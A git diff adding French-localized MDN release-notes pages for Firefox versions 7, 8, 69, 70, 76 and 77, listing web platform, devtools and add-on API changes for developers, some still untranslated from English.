  • When an add-on attempts to add a bookmark folder to the root folder, the resulting error message is now much more intuitive ({{bug(1512171)}}).
    • +
  • The promise returned by browser.tabs.duplicate() now resolves immediately, before the tabs are completely loaded ({{bug(1394376)}}).
    • +
  • Support has been added for chrome.storage.managed, allowing web extension settings to be implemented via enterprise policy ({{bug(1230802)}}).
    • +
+ +

Manifest changes

+ +

No changes.

+ +

See also

+ + + +

Older versions

+ +

{{Firefox_for_developers(67)}}

diff --git a/files/fr/mozilla/firefox/releases/69/index.html b/files/fr/mozilla/firefox/releases/69/index.html new file mode 100644 index 0000000000..5a5ad086a5 --- /dev/null +++ b/files/fr/mozilla/firefox/releases/69/index.html @@ -0,0 +1,139 @@ +--- +title: Firefox 69 for developers +slug: Mozilla/Firefox/Versions/69 +translation_of: Mozilla/Firefox/Releases/69 +--- +

{{FirefoxSidebar}}{{Draft}}

+ +

This article provides information about the changes in Firefox 69 that will affect developers. Firefox 69 is the current Beta version of Firefox, and will ship on September 3, 2019.

+ +

Changes for web developers

+ +

Developer tools

+ +
    +
  • An icon will be displayed next to invalid or unsupported CSS rules in the Rules pane of the Page Inspector ({{bug(1306054)}}).
    • +
  • The debugger now includes the ability to set a breakpoint on event handlers. For example, you can select keydown, and execution will pause when it enters any keydown event handler in your project ({{bug(1526079)}}).
    • +
  • When you hover over an element in the Page Inspector, the infobar that appears now includes the fact that an element is a flex container, or flex item ({{bug(1521188)}}).
    • +
+ +

Removals

+ +

HTML

+ +
    +
  • In order to align more closely to the specification, the text track associated with a {{HTMLElement("track")}} element no longer loads the WebVTT file containing the text cues if the element is created in its default disabled {{domxref("TextTrack.mode", "mode")}}. To access or manipulate the cues when the mode is disabled, change the mode to either started or hidden; this will trigger loading of the WebVTT data ({{bug(1550633)}}).
    • +
+ +

 Removals

+ +
    +
  • The HTML {{HTMLElement("keygen")}} element has been removed from Firefox. It was deprecated some time ago, and its purpose has generally been supplanted by other technologies ({{bug(1315460)}}).
    • +
+ +

CSS

+ +
    +
  • Implement the break-spaces value of the white-space property ({{bug(1351432)}}).
    • +
  • Implement SVG geometry properties in CSS ({{bug(1383650)}}).
    • +
  • The {{cssxref("::cue")}} selector—used to style the captions ("cues") displayed by WebVTT—now enforces the limitations on which CSS properties may be used within cues, per the specification.
    • +
  • Properties which may apply to `::marker` restricted as per the specification ({{bug(1552578)}})
    • +
  • The {{cssxref("overflow-block")}} and {{cssxref("overflow-inline")}} properties have been implemented ({{bug(1470695)}}).
    • +
  • Adds the ability to test for support of a selector when using CSS Feature Queries (@supports), with the `selector()` method ({{bug(1513643)}}).
    • +
  • The {{cssxref("user-select")}} property—which specifies whether or not the user is able to select text in the affected element—has been unprefixed in Firefox 69 ({{bug(1492739)}}).
    • +
+ +

Removals

+ +

SVG

+ +
    +
  • Support gzip-compressed SVG-in-OpenType ({{bug(1359240)}}).
    • +
+ +

Removals

+ +

JavaScript

+ +
    +
  • The promise rejection events, unhandledrejection and rejectionhandled, are now enabled by default ({{bug(1362272)}}). To learn more about how these work, see {{SectionOnPage("/en-US/docs/Web/JavaScript/Guide/Using_promises", "Promise rejection events")}}.
    • +
+ +

Removals

+ +

HTTP

+ +
    +
  • The HTTP headers {{HTTPHeader("Access-Control-Expose-Headers")}}, {{HTTPHeader("Access-Control-Allow-Methods")}}, and {{HTTPHeader("Access-Control-Allow-Headers")}} now accept a wildcard value "*" for requests without credentials ({{bug(1309358)}}). This change has also been uplifted to Firefox 68 ESR.
    • +
+ +

APIs

+ +

No changes.

+ +

New APIs

+ +

DOM

+ +
    +
  • The {{domxref("DOMMatrix")}}, {{domxref("DOMPoint")}}, and related objects are now supported in workers ({{bug(1420580)}}).
    • +
+ +

DOM events

+ +

Service workers

+ +

Media, Web Audio, and WebRTC

+ +
    +
  • For improved user security, and in keeping with the latest versions of the Media Capture and Streams specification, the {{domxref("navigator.mediaDevices")}} property is no longer present if the context is insecure. To use {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}, {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}}, {{domxref("MediaDevices.enumerateDevices", "enumerateDevices()")}}, and so forth, be sure your content is loaded using {{Glossary("HTTPS")}} ({{bug(1528031)}}).
    • +
  • The Web Audio API's {{domxref("AudioParam.value")}} property now returns the actual value of the property at the current time, taking into account all scheduled or gradiated changes taking places to the value. Previously, Firefox only returned the most recent explicitly-set value (as through using the value setter) ({{bug(893020)}}).
    • +
  • Updated {{domxref("MediaStreamAudioSourceNode")}} to use the new, lexicographical, ordering for tracks. Previously, track ordering was up to the individual browser, and could even change arbitrarily. In addition, attempting to create a MediaStreamAudioSourceNode using a stream that has no audio tracks now throws an InvalidStateError exception ({{bug(1553215)}}).
    • +
  • The {{domxref("MediaTrackSettings.facingMode", "facingMode")}}, {{domxref("MediaTrackSettings.deviceId", "deviceId")}}, and {{domxref("MediaTrackSettings.groupId", "groupId")}} settings are now included as members of the {{domxref("MediaTrackSettings")}} object returned by calls to {{domxref("MediaStreamTrack.getSettings()")}} ({{bug(1537986)}}).
    • +
+ +

Canvas and WebGL

+ +

Removals

+ +

Security

+ +

No changes.

+ +

Removals

+ +

Plugins

+ +

No changes.

+ +

Removals

+ +

Other

+ +

No changes.

+ +

Removals

+ +

Changes for add-on developers

+ +

API changes

+ +

No changes.

+ +

Removals

+ +

Manifest changes

+ +

No changes.

+ +

Removals

+ +

See also

+ + + +

Older versions

+ +

{{Firefox_for_developers(68)}}

diff --git a/files/fr/mozilla/firefox/releases/7/index.html b/files/fr/mozilla/firefox/releases/7/index.html new file mode 100644 index 0000000000..16936f3f8d --- /dev/null +++ b/files/fr/mozilla/firefox/releases/7/index.html @@ -0,0 +1,239 @@ +--- +title: Firefox 7 pour les développeurs +slug: Mozilla/Firefox/Versions/7 +tags: + - Firefox + - Firefox 7 +translation_of: Mozilla/Firefox/Releases/7 +--- +
{{FirefoxSidebar}}

Firefox 7, basé sur Gecko 7.0, est sorti le 27 september 2011. Cet article fournit des informations à propos des changements qui affectent les développeurs dans cette version.

+ +

Changements pour les développeurs Web

+ +

HTML

+ +
    +
  • La propriété profile de {{domxref("HTMLHeadElement")}} a été supprimée, cette propriété est obsolète depuis {{gecko("2.0")}}.
    • +
  • Les propriétés x et y de {{domxref("HTMLImageElement")}} ont été supprimées.
    • +
  • Le paramètre before de la méthode add() de {{domxref("HTMLSelectElement")}} est désormais optionnel.
    • +
  • L'attribut {{htmlattrxref("background", "body")}} de l'élément {{HTMLElement("body")}} n'est plus résolu en tant qu'URI, ce qui est conforme à la spécification HTML courante.
    • +
  • L'attribut {{htmlattrxref("label", "option")}} de l'élément {{HTMLElement("option")}} reflète désormais la valeur du contenu texte de l'élément si l'attribut n'est pas spécifié.
    • +
+ +

Canvas

+ +
    +
  • Dans le cadre du projet Azure, le Backend Azure Direct2D a été implémenté et améliore considérablement les performances des canvas 2D.
    • +
  • La spécification de valeurs invalides lors de l'appel de setTransform(), bezierCurveTo() ou arcTo() ne renvoie plus d'exception, ces appels sont à présent ignorés silencieusement.
    • +
  • La méthode isPointInPath() considère maintenant correctement la matrice de transformation lors de la comparaison du point spécifié au tracé en cours.
    • +
  • L'appel de strokeRect() avec une largeur et une hauteur de zéro n'a désormais plus aucun effet.
    • +
  • L'appel de drawImage() avec une largeur ou hauteur {{HTMLElement("canvas")}} de zéro lance désormais INVALID_STATE_ERR.
    • +
  • L'appel de drawImage() avec des coordonnées non-finies ne renvoie plus d'exception.
    • +
  • La méthode toDataURL() accepte désormais un second paramètre pour contrôler la qualité JPEG.
    • +
  • Le support des opérations non-standards clear et over de globalCompositeOperation a été enlevé.
    • +
  • Les ombres sont désormais uniquement dessinées pour les opérations de composition de source-over.
    • +
  • Vous pouvez désormais configurer la règle de remplissage utilisé par la toile en définissant l'attribute mozFillRule au contexte.
    • +
  • Le support des attributs expérimentaux mozDash, mozDashOffset, mozCurrentTransform et mozCurrentTransformInverse a été ajouté.
    • +
  • Le support des méthodes non-standards mozDrawText(), mozMeasureText(), mozPathText() et mozTextAlongPath() a été retiré.
    • +
+ +

CSS

+ +
    +
  • {{cssxref("text-overflow")}} est désormais supporté.
    • +
  • La propriété {{cssxref("orient", "-moz-orient")}} a été corrigée pour que les éléments {{HTMLElement("progress")}} qui sont orientés verticalement aient des dimensions par défaut appropriées.
    • +
+ +

MathML

+ +
    +
  • XLink href a été rétabli et l'attribut href de MathML3 est maintenant supporté. Les développeurs sont encouragés à passer à la dernière syntaxe.
    • +
  • Le support de l'attribut voffset sur les éléments {{MathMLElement("mpadded")}} a été ajouté et le comportement de l'attribut lspace a été fixé.
    • +
  • L'élément de premier niveau {{MathMLElement("math")}} accepte maintenant tous les atributs de l'élément {{MathMLElement("mstyle")}}.
    • +
  • Le support des polices Asana Math a été ajouté.
    • +
  • L'épaisseur des lignes medium des barres de fraction des éléments {{MathMLElement("mfrac")}} a été corrigé pour correspondre à l'épaisseur par défaut.
    • +
  • Les noms des espaces négatifs sont maintenant supportés.
    • +
+ +

DOM

+ +
    +
  • Les méthodes non-standards getAsBinary(), getAsDataURL() et getAsText() de l'interface {{domxref("File")}} ont été supprimées ainsi que les propriétés non-standards fileName et fileSize.
    • +
  • L'interface {{domxref("XMLHttpRequest/FormData", "FormData")}} ne signale plus le nom du fichier comme une chaîne vide lors de l'envoi l'en-tête HTTP Content-Disposition si les données ont été définies à l'aide de {{domxref("Blob")}}. Cela corrige les erreurs qui avaient lieu sur certains serveurs.
    • +
  • L'attribut {{domxref("element.dir")}} renvoie désormais toujours son résultat en minuscules, comme l'exige la spécification HTML.
    • +
  • la méthode readAsArrayBuffer() de {{domxref("FileReader")}} est maintenant implémentée.
    • +
  • {{domxref("document.createEntityReference")}} a été retiré. Elle n'a jamais été correctement implémentée et n'est pas intégrée dans la plupart des autres navigateurs.
    • +
  • document.normalizeDocument a été retiré. Utilisez {{domxref("Node.normalize")}} à la place.
    • +
  • {{domxref("DOMTokenList.item")}} renvoie désormais undefined si index est en dehors des limites, auparavant il renvoyé null.
    • +
  • Node.getFeature a été supprimé.
    • +
  • Les interfaces HTMLInsElement et HTMLDelElement ont été retirées, depuis que les éléments {{HTMLElement("ins")}} et {{HTMLElement("del")}} utilisent l'interface {{domxref("HTMLModElement")}}.
    • +
  • Dans le but d'être conforme à la prochaine spécification DOM4 où {{domxref("Attr")}} n'hérite plus de {{domxref("Node")}} (il l'a fait dans les DOM Core 1, 2 and 3), beaucoup de propriétés et méthodes de {{domxref("Node")}} sur l'interface {{domxref("Attr")}} sont maintenant des rapports d'alertes que nous nous efforçons de retirer dans une version ultérieure.
    • +
  • Ajout du support des propriétés {{domxref("window.ondeviceorientation")}} et {{domxref("window.ondevicemotion")}} sur les objets {{domxref("window")}}.
    • +
  • {{domxref("window.resizeTo")}}, {{domxref("window.resizeBy")}}, {{domxref("window.moveTo")}} et {{domxref("window.moveBy")}} ne s'appliquent plus à la fenêtre principale.
    • +
+ +

JavaScript

+ + + +

WebSockets

+ +
    +
  • la préférence network.websocket.max-connections est utilisée pour déterminer le nombre maximum de connexions à WebSocket qui peuvent être ouvertes en même temps. La valeur par défaut est 200.
    • +
  • La version 8 du protocole WebSocket (comme spécifié par IETF draft 10) est maintenant utilisé à la place de la version 7 du protocole utilisé par Firefox 6.
    • +
  • L'API WebSocket est maintenant disponible sur Firefox Mobile.
    • +
+ +

Console API

+ +
    +
  • Les messages enregistrés avec console.log alors que la console web n'est pas ouverte sont toujours enregistrés, bien qu'ils ne s'affichent pas lorsque la console web est ouverte.
    • +
+ +
+

Web timing

+ +
    +
  • Première implémentation de la spécification Navigation Timing qui fournit des données pouvant être utilisées pour mesurer les performances d'un site.
    • +
+ +

XML

+ + +
+ +

Changements pour les développeurs de Mozilla et de modules complémentaires

+ +

Ces changements affectent les développeurs d'extensions ainsi que les développeurs qui travaillent sur ​​ou avec le code de Mozilla lui-même. Les developpeurs d'extensions doivent voir Updating extensions for Firefox 7 pour plus d'informations.

+ +
Note: Firefox 7 requiert que les composants binaires soient recompilés, comme pour toutes les versions majeures de Firefox. Pour plus de détails, voir Interfaces Binaires.
+ +

Modules de code JavaScript

+ +

FileUtils.jsm

+ +
    +
  • la nouvelle méthode openFileOutputStream() ouvre un flux de sortie du fichier, la variante non-sécurisée, pour écrire dedans.
    • +
+ +

AddonManager.jsm

+ + + +

XUL

+ + + +

XPCOM

+ +
    +
  • La nouvelle méthode Components.utils.schedulePreciseGC() vous permet de programmer un cycle approfondi de collection de garbage de se produire à un moment donné lorsqu'aucun code JavaScript n'est exécuté, un rappel est exécuté une fois la collecte terminée.
    • +
  • La méthode Components.utils.unload() vous permet de décharger les modules de code JavaScript déjà chargés en appelant Components.utils.load().
    • +
+ +

Rapporteur de mémoire

+ +

Ajout du support pour le multi-reporters, c'est le rapporteur de mémoire qui rassemble des données sur demande et effectue un rappel pour chaque résultat généré. Voir {{interface("nsIMemoryMultiReporter")}} et {{interface("nsIMemoryMultiReporterCallback")}} pour les interfaces nécessaires, ainsi que les méthodes {{ifmethod("nsIMemoryReporterManager", "registerMultiReporter")}} et {{ifmethod("nsIMemoryReporterManager", "unregisterMultiReporter")}}.

+ +

Changements de l'expérience utilisateur

+ + + +

Changements dans le système de compilation

+ +
    +
  • L'API d'intégration d'ActiveX n'est plus compilée et son support a été retiré du système de compilation. Des interfaces ont également été supprimées, voir {{anch("Interfaces supprimées")}}.
    • +
  • Vous n'avez plus besoin de préciser -Zc:wchar_t- lors de la compilation sous Windows. Pour plus de détails, voir la documentation sur la compilation.
    • +
+ +

Changements dans les interfaces

+ +
    +
  • {{interface("nsISocketTransport")}} offre désormais un nouveau drapeau de connexion : DISABLE_IPV6, cela entraîne des tentatives de connexion uniquement aux adresses IPv4, en ignorant toutes les adresses IPv6 disponibles. De plus, {{interface("nsIDNSService")}} offre désormais un nouveau drapeau de résolution : RESOLVE_DISABLE_IPV6, ce qui entraîne un résolution des noms de domaine en ne tenant compte que des hôtes IPv4 et en ignorant toutes les adresses IPv6 disponibles. Ces changements permettent d'implémenter la stratégie "happy eyeballs" pour améliorer le temps de réponse lors d'une tentative de connexion sur les hôtes qui supportent à la fois IPv4 et IPv6 (en particulier ceux qui ont brisé la connectivité IPv6).
    • +
  • {{interface("inIDOMUtils")}} a deux nouvelles méthodes, {{ifmethod("inIDOMUtils","getChildrenForNode")}} qui renvoie une liste des nœuds enfants d'un noeud et {{ifmethod("inIDOMUtils","getUsedFontFaces")}} qui renvoie la liste des police de caractères utilisées dans une gamme.
    • +
  • L'interface nsIMarkupDocumentViewer_MOZILLA_2_0_BRANCH a été intégrée dans l'interface {{interface("nsIMarkupDocumentViewer")}}.
    • +
  • L'interface nsIDOMWindow2 a été intégrée dans l'interface {{interface("nsIDOMWindow")}}.
    • +
  • L'interface nsIDOMWindow_2_0_BRANCH a été intégrée dans l'interface {{interface("nsIDOMWindowInternal")}}.
    • +
  • Les méthodes {{interface("nsINavHistoryObserver")}} avec des paramètres d'URI exigent désormais un GUID.
    • +
  • L'interface nsISHistory_2_0_BRANCH a été intégrée dans l'interface {{interface("nsISHistory")}}.
    • +
  • {{interface("nsITelemetry")}} a une nouvelle méthode, {{ifmethod("nsITelemetry","getHistogramById")}} qui retourne un histogramme par son ID, et un nouvel attribut canRecord qui, lorsqu'il est défini sur false désactive l'enregistrement des statistiques de télémétrie. Les statistiques de télémétrie ne sont plus enregistrées lorsque l'on est en mode de navigation privée. (voir {{bug("661574")}} et {{bug("661573")}})
    + Les histogrammes de télémétrie définis avec {{ifmethod("nsITelemetry","newHistogram")}} ne seront pas rapportés dans le ping de télémétrie.
    • +
  • L'interface {{interface("nsIMemoryReporter")}} a été sensiblement modifiée, si vous l'utilisez, vous devez faire quelques ajustements à votre code.
    • +
  • Les en-têtes {{interface("nsIXMLHttpRequest")}} fixées par {{ifmethod("nsIXMLHttpRequest","setRequestHeader")}} sont envoyées à la demande lorsque l'on suit une redirection. Auparavant, ces en-têtes n'auraient pas été envoyées.
    • +
  • {{interface("nsIDocShell")}} a un nouvel attribut allowWindowControl. Si il est true, le contenu du docshell est autorisé à contrôler la fenêtre (c'est-à-dire la déplacer ou la redimensionner).
    • +
  • L'interface nsIThreadInternal2 a été intégrée dans l'interface {{interface("nsIThreadInternal")}}.
    • +
+ +

Nouvelles interfaces

+ +
+
{{interface("nsIDOMFontFace")}}
+
Décrit une seule police de caractères.
+
{{interface("nsIDOMFontFaceList")}}
+
Décrit une liste de polices de caractères, chacune représentée par {{interface("nsIDOMFontFace")}}.
+
+ +

Interfaces supprimées

+ +

Les interfaces suivantes ont été supprimées car elles n'étaient plus indispensables :

+ +
    +
  • nsIDOM3Attr
    • +
  • nsIDOM3Node
    • +
  • nsIDOM3TypeInfo
    • +
  • nsIDOM3Text
    • +
  • nsIDOMDocumentStyle
    • +
  • nsIDOMNSDocument
    • +
  • nsIDOMNSFeatureFactory
    • +
  • {{interface("nsIDOMNSHTMLDocument")}}
    • +
  • nsIDOMNSHTMLFormElement
    • +
  • nsIDOMNSHTMLHRElement
    • +
  • nsIDOMNSHTMLTextAreaElement
    • +
+ +

Les interfaces suivantes ont été supprimées dans le cadre du retrait de l'API ActiveX :

+ +
    +
  • DITestScriptHelper
    • +
  • DWebBrowserEvents
    • +
  • DWebBrowserEvents2
    • +
  • {{interface("IDispatch")}}
    • +
  • IMozControlBridge
    • +
  • IMozPluginHostCtrl
    • +
  • IWebBrowser
    • +
  • IWebBrowser2
    • +
  • IWebBrowserApp
    • +
  • IXMLDocument
    • +
  • IXMLElement
    • +
  • IXMLElementCollection
    • +
  • IXMLError
    • +
  • nsIActiveXSecurityPolicy
    • +
  • {{interface("nsIDispatchSupport")}}
    • +
  • nsIMozAxPlugin
    • +
  • nsIScriptEventHandler
    • +
  • nsIScriptEventManager
    • +
+ +

Autres changements

+ +
    +
  • La structure de la fenêtre de la bibliothèque (places.xul) a été nettoyée. Cela pourrait casser les extensions et les thèmes
    • +
  • L'apparence de la fenêtre d'aperçu avant impression a été modernisé et les auteurs de thèmes sont invités à avoir le même style en utilisant les pseudo-éléments CSS {{cssxref("::-moz-page")}}, {{cssxref("::-moz-page-sequence")}} et {{cssxref("::-moz-scrolled-page-sequence")}}
    • +
+ +

Voir également

+ +

{{Firefox_for_developers('6')}}

diff --git a/files/fr/mozilla/firefox/releases/70/index.html b/files/fr/mozilla/firefox/releases/70/index.html new file mode 100644 index 0000000000..e104829d70 --- /dev/null +++ b/files/fr/mozilla/firefox/releases/70/index.html @@ -0,0 +1,111 @@ +--- +title: Firefox 70 for developers +slug: Mozilla/Firefox/Versions/70 +translation_of: Mozilla/Firefox/Releases/70 +--- +

{{FirefoxSidebar}}{{Draft}}

+ +

This article provides information about the changes in Firefox 70 that will affect developers. Firefox 70 is the current Nightly version of Firefox, and will ship on October 22, 2019.

+ +

Changes for web developers

+ +

Developer tools

+ +
    +
  • An information icon will be displayed next CSS properties that do not have an effect on the current element in the Rules pane of the Page Inspector ({{bug(1306054)}}).
    • +
+ +

Removals

+ +

HTML

+ +

No changes.

+ +

 Removals

+ +

CSS

+ +
    +
  • [fill-stroke] [filter-effects] [css-color] percentage opacity. {{Bug(1562086)}}
    • +
  • [css-grid] grid-auto-columns/rows should accept multiple track-size values. {{Bug(1339672)}}
    • +
  • [css-text-decor-4] Implement text-decoration-skip-ink. {{Bug(1411922)}}
    • +
  • [css-display-3] Implement multi-keyword {{CSSxRef("display")}} values. ({{Bug(1038294)}}, {{Bug(1105868)}} and {{Bug(1557825)}})
    • +
+ +

Removals

+ +

SVG

+ +

No changes.

+ +

Removals

+ +

JavaScript

+ +
    +
  • Add support for numeric separators. {{Bug(1435818)}}
    • +
+ +

Removals

+ +

APIs

+ +

New APIs

+ +

DOM

+ +
    +
  • Add {{DOMxRef("DOMMatrix")}}, {{DOMxRef("DOMPoint")}}, etc. support in web workers ({{bug(1420580)}}).
    • +
+ +

DOM events

+ +

Service workers

+ +

Media, Web Audio, and WebRTC

+ +

Canvas and WebGL

+ +

Removals

+ +

Security

+ +

No changes.

+ +

Removals

+ +

Plugins

+ +

No changes.

+ +

Removals

+ +

Other

+ +

No changes.

+ +

Removals

+ +

Changes for add-on developers

+ +

API changes

+ +

No changes.

+ +

Removals

+ +

Manifest changes

+ +

No changes.

+ +

Removals

+ +

See also

+ + + +

Older versions

+ +

{{Firefox_for_developers(69)}}

diff --git a/files/fr/mozilla/firefox/releases/76/index.html b/files/fr/mozilla/firefox/releases/76/index.html new file mode 100644 index 0000000000..efa1538412 --- /dev/null +++ b/files/fr/mozilla/firefox/releases/76/index.html @@ -0,0 +1,114 @@ +--- +title: Firefox 76 for developers +slug: Mozilla/Firefox/Versions/76 +tags: + - '76' + - Firefox + - Mozilla + - Release +translation_of: Mozilla/Firefox/Releases/76 +--- +

{{FirefoxSidebar}}

+ +

Cet article fournit des informations sur les modifications apportées à Firefox 76 qui affecteront les développeurs. Firefox 76 a été publié le 5 Mai 2020.

+ +

Voir aussi le post d'accompagnement du blog hacks — Firefox 76: Audio worklets and other tricks.

+ +

Changements pour les développeurs web

+ +

Outils pour les développeurs

+ +

Débogueur

+ +
    +
  • Vous pouvez maintenant activer/désactiver le blackboxing des groupes et dossiers sources listés dans le volet Liste des sources via les options du menu contextuel ({{bug(1118152)}}).
    • +
  • L'option de menu contextuel Copier la trace de la pile d'appels du volet Pile d'éxécution copie désormais les URL complètes, et pas seulement les noms de fichiers ({{bug(1619039)}}).
    • +
+ +

Moniteur de réseau

+ +
    +
  • Dans la liste des requêtes du réseau, vous pouvez maintenant double-cliquer sur un séparateur de colonne pour redimensionner la colonne à gauche de celui-ci afin qu'il corresponde à son contenu ({{bug(1615102)}}).
    • +
  • Le menu contextuel de la requête réseau Copier > Copier comme cURL dispose d'une nouvelle option, --globoff, qui supprime la fonction de globbing (correspondance de caractères génériques) du cURL si l'URL copiée comprend des caractères entre crochets ({{bug(1549773)}}).
    • +
  • L'onglet Messages du panneau de détails pour les requêtes de socket web a un nouveau filtre - Contrôle - pour afficher les cadres de contrôle, et les filtres sont maintenant regroupés dans une liste de sélection ({{bug(1566780)}}).
    • +
+ +

Console web

+ +
    +
  • In multi-line mode, code snippets longer than five lines are abbreviated to five lines, preceeded by a disclosure triangle (or "twistie"), and followed by an ellipsis (…). You can click anywhere in this area to show the code, and click again in that area to collapse it ({{bug(1578212)}}).
    • +
  • DOM element references outputted into the console now have a "Reveal in inspector" context menu option, which shows the element in the HTML pane of the Page inspector ({{bug(1612276)}}).
    • +
+ +

Débogage à distance

+ +
    +
  • Because of differences in DevTools versions, it is not possible to debug releases of Firefox for Android that are based on version 68, from desktop Firefox versions 69 or later. When attempting to do this, the Firefox desktop browser will now show a message informing the user of this problem, and offering possible next steps ({{bug(1625906)}}). See Connection to Firefox for Android 68 for more information.
    • +
+ +

HTML

+ +
    +
  • The {{HTMLElement("input")}} element's {{htmlattrxref("min", "input")}} and {{htmlattrxref("max", "input")}} attributes now work correctly when the value of min is greater than the value of max for control types whose values are periodic (that is, values that wrap around at some point). This is particularly helpful, for example, with date and time inputs, where you might want to specify a time range of 11 PM to 2 AM ({{bug(1608010)}}).
    • +
+ +

CSS

+ + + +

SVG

+ +

No changes.

+ +

JavaScript

+ +
    +
  • The numberingSystem and calendar options of the {{jsxref("Intl.NumberFormat")}}, {{jsxref("Intl.DateTimeFormat")}}, and {{jsxref("Intl.RelativeTimeFormat")}} constructors are now enabled by default ({{bug(1625975)}}).
    • +
+ +

APIs

+ +

Nouvelles APIs

+ +
    +
  • Firefox now supports audio worklets by default, with support for {{domxref("BaseAudioContext.audioWorklet", "AudioContext.audioWorklet")}}, which lets you use the {{domxref("AudioWorkletProcessor")}} and {{domxref("AudioWorkletNode")}} interfaces to process audio in real time off the main thread ({{bug(1616725)}}).
    • +
+ +

DOM

+ +
    +
  • UI-parts related items in the windowFeatures parameter of {{domxref("window.open()")}} can no longer control the visibility of each UI part separately, but become a condition for whether to open a popup or not ({{bug(1507375)}}).
    • +
  • Attempts to navigate to an unknown protocol using methods such as location.href or <meta http-equiv="refresh"> are now blocked (see {{bug(1528305)}}; also see Navigation to unknown protocol will be blocked for more information).
    • +
  • The {{domxref("IntersectionObserver.IntersectionObserver", "IntersectionObserver()")}} constructor now accepts a {{domxref("Document")}} object as its root, as well as an {{domxref("Element")}} object ({{bug(1623623)}}). This lets you explicitly use a window's entire content area as the intersection bounds.
    • +
  • The Fetch API now supports the audioworklet {{domxref("Request.destination", "destination")}} for requests. This causes received data to be dispatched to an {{domxref("AudioWorklet")}} ({{bug(1402784)}}).
    • +
+ +

Suppressions

+ + + +

HTTP

+ +

Aucun changements.

+ +

Sécurité

+ +

Aucun changements.

+ +

Changements pour les développeurs de modules complémentaires

+ +

Aucun changements.

+ +

Voir aussi

+ + + +

Anciennes versions

+ +

{{Firefox_for_developers(75)}}

diff --git a/files/fr/mozilla/firefox/releases/77/index.html b/files/fr/mozilla/firefox/releases/77/index.html new file mode 100644 index 0000000000..073ca22e4b --- /dev/null +++ b/files/fr/mozilla/firefox/releases/77/index.html @@ -0,0 +1,117 @@ +--- +title: Firefox 77 for developers +slug: Mozilla/Firefox/Versions/77 +tags: + - '77' + - Firefox + - Mozilla + - Sorties +translation_of: Mozilla/Firefox/Releases/77 +--- +

{{FirefoxSidebar}}{{Draft}}

+ +

Cet article fournit des informations sur les modifications apportées à Firefox 77 qui affecteront les développeurs. Firefox 77 est l'actuel version de Firefox Bêta, et sera livrée le 2 Juin 2020.

+ +

Changements pour les développeurs web

+ +

Outils pour les développeurs

+ +

Aucun changement.

+ +

Suppressions

+ +

HTML

+ +

Aucun changement.

+ +

 Suppressions

+ +

CSS

+ +

Aucun changement.

+ +

 Suppressions

+ +

SVG

+ +

Aucun changement.

+ +

Suppressions

+ +

JavaScript

+ +

Aucun changement.

+ +

APIs

+ +

Nouvelles APIs

+ +

DOM

+ +

Événements DOM

+ +

Service workers

+ +

Médias, Web Audio et WebRTC

+ +

Canevas et WebGL

+ +

Suppressions

+ +

HTTP

+ +

Aucun changement.

+ +

Securité

+ +

Aucun changement.

+ +

Suppressions

+ +

Plugins

+ +

Aucun changement.

+ +

Suppressions

+ +

Securité

+ +

Enlèvements

+ +

Autres

+ +

Aucun changement.

+ +

Suppressions

+ +

Changements pour les développeurs de modules complémentaires

+ +

Modifications de l'API

+ +

Aucun changement.

+ +

Suppressions

+ +

Changements manifestes

+ +
    +
  • Les permissions suivantes sont désormais facultatives, elles peuvent être spécifiées dans la clé du manifeste optional_permissions et demandées en utilisant l'API {{WebExtAPIRef("permissions")}} : browsingData ({{bug(1630417)}}), pkcs11 ({{bug(1630418)}}), proxy ({{bug(1548011)}}), et sessions ({{bug(1630414)}}).
    • +
+ +

Suppressions

+ +

Autres

+ +
    +
  • L'utilisation de l'autorisation unlimitedStorage n'entraîne plus l'affichage d'une boîte de dialogue lors de l'installation ou de la mise à jour de l'extension. Pour plus d'informations, voir Demander les bonnes autorisations (en). ({{bug(1630413)}})
    • +
+ +

Voir aussi

+ + + +

Anciennes versions

+ +

{{Firefox_for_developers(76)}}

diff --git a/files/fr/mozilla/firefox/releases/8/index.html b/files/fr/mozilla/firefox/releases/8/index.html new file mode 100644 index 0000000000..b1e7b31fa7 --- /dev/null +++ b/files/fr/mozilla/firefox/releases/8/index.html @@ -0,0 +1,255 @@ +--- +title: Firefox 8 pour les développeurs +slug: Mozilla/Firefox/Versions/8 +tags: + - Firefox + - Firefox 8 +translation_of: Mozilla/Firefox/Releases/8 +--- +

Firefox 8, basé sur Gecko 8.0, est sorti le 8 novembre 2011. Cet article fournit des informations à la fois pour les developpeurs Web et pour les développeurs d'extensions et de projets liés à Mozilla pour aider à tirer pleinement parti des fonctionnalités de cette version.

+ +

Changements pour les développeurs Web

+ +

HTML

+ +
    +
  • La propriété crossOrigin a été ajouté à HTMLImageElement et l'attribut crossorigin a été ajouté à l'élément <img> (voir bug 664299).
    • +
  • La méthode HTMLSelectElement.add() supporte désormais supporte désormais soit un élément ou soit l'index d'un élément auquel un nouvel élément doit être inséré avant. Auparavant, seulement un élément était supporté (voir bug 666200).
    • +
  • Le constructeur HTMLIsIndexElement a été retiré. Aucun éléments n'a implémenté cette interface depuis Firefox 4.
    • +
  • la fonctionnalité HTML5 "menu contextuel" (attribut contextmenu), qui vous permet d'ajouter des éléments personnalisés particuliers au menu contextuel d'origine, est désormais supportée (l'implémentation est encore expérimentale en attendant des changements dans la spécification (voir bug 617528).
    • +
  • Le support de l'attribut accesskeylabel a été ajouté à tous les éléments.
    • +
  • les éléments <input> et <textarea> supportent désormais l'attribut selectionDirection, et leurs méthodes setSelectionRange() ont été mises à jour pour supporter éventuellement la spécification d'une direction.
    • +
  • La plupart des éléments peuvent désormais obtenir une bague de focalisation établie autour d'eux s'ils ont été faits pouvant recevoir le focus via l'attribut tabindex et que l'utilisateur se concentre ensuite sur l'élément.
    • +
  • Dans un ensemble d'éléments <label> imbriqués, cliquer sur les événements ne déclencheront plus plusieurs éléments, qui, avant, provoquaient un blocage de Firefox (voir bug 646157).
    • +
+ +

DOM

+ +
    +
  • La méthode insertAdjacentHTML a été implémentée.
    • +
  • BlobBuilder dispose désormais d'une méthode getFile() qui renvoie le contenu du blob dans un fichier.
    • +
  • L'interface FileReaderSync (partie de FileAPI) a été implementée.
    • +
  • La gestion des évènements par les <label> imbriqués a été fixée.
    • +
  • Vous pouvez maintenant utiliser window.postMessage() pour passer les objets File et FileList entre les fenêtres.
    • +
  • Lors de l'édition de zones element.contenteditable la sortie d'une position en appuyant sur retour, ou à la sortie d'une liste en mode édition en appuyant sur retour à deux reprises, revient maintenant au mode d'entrée au paragraphe (c'est-à-dire les paragraphes à l'intérieur des blocs <p>) au lieu de lignes de séparation par les éléments <br>.
    • +
